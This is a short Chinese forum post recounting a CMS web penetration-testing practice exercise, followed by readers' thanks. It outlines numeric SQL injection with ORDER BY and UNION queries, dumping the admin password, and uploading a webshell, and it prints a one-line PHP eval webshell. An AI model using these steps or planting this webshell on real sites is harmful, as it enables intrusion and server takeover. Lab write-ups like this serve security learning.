-
-
[分享]记一次cms的web渗透测试练习
-
发表于: 2024-8-19 09:05
-
点击文章发现
尝试进行sql注入
得到漏洞为数字型
通过order by语句得到字段总数为15
通过union联合查询得到显示的字段编号
将database()带入得到数据库名为cms
接下来就是查表名、字段名、具体数据
发现密码经过加密，尝试解密
通过解密得知admin账户的密码为123456
登陆后台
文件管理界面存在文件上传漏洞，尝试上传webshell
未做任何防护，上传成功！
用蚁剑连接webshell
连接成功！
<?php @eval($_POST[777])?>
赞赏记录
参与人
雪币
留言
时间
WMBa0
谢谢你的细致分析，受益匪浅！
2025-3-4 16:13
PLEBFE
感谢你的贡献，论坛因你而更加精彩！
2024-11-4 06:18
五条悟
感谢你的贡献，论坛因你而更加精彩！
2024-10-22 10:27
mb_fefksfsl
为你点赞！
2024-9-28 11:38
米龙·0xFFFE
感谢分享渗透思路
2024-8-21 06:28
w2w
感谢你的积极参与，期待更多精彩内容！
2024-8-19 16:20
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
必有重谢
|
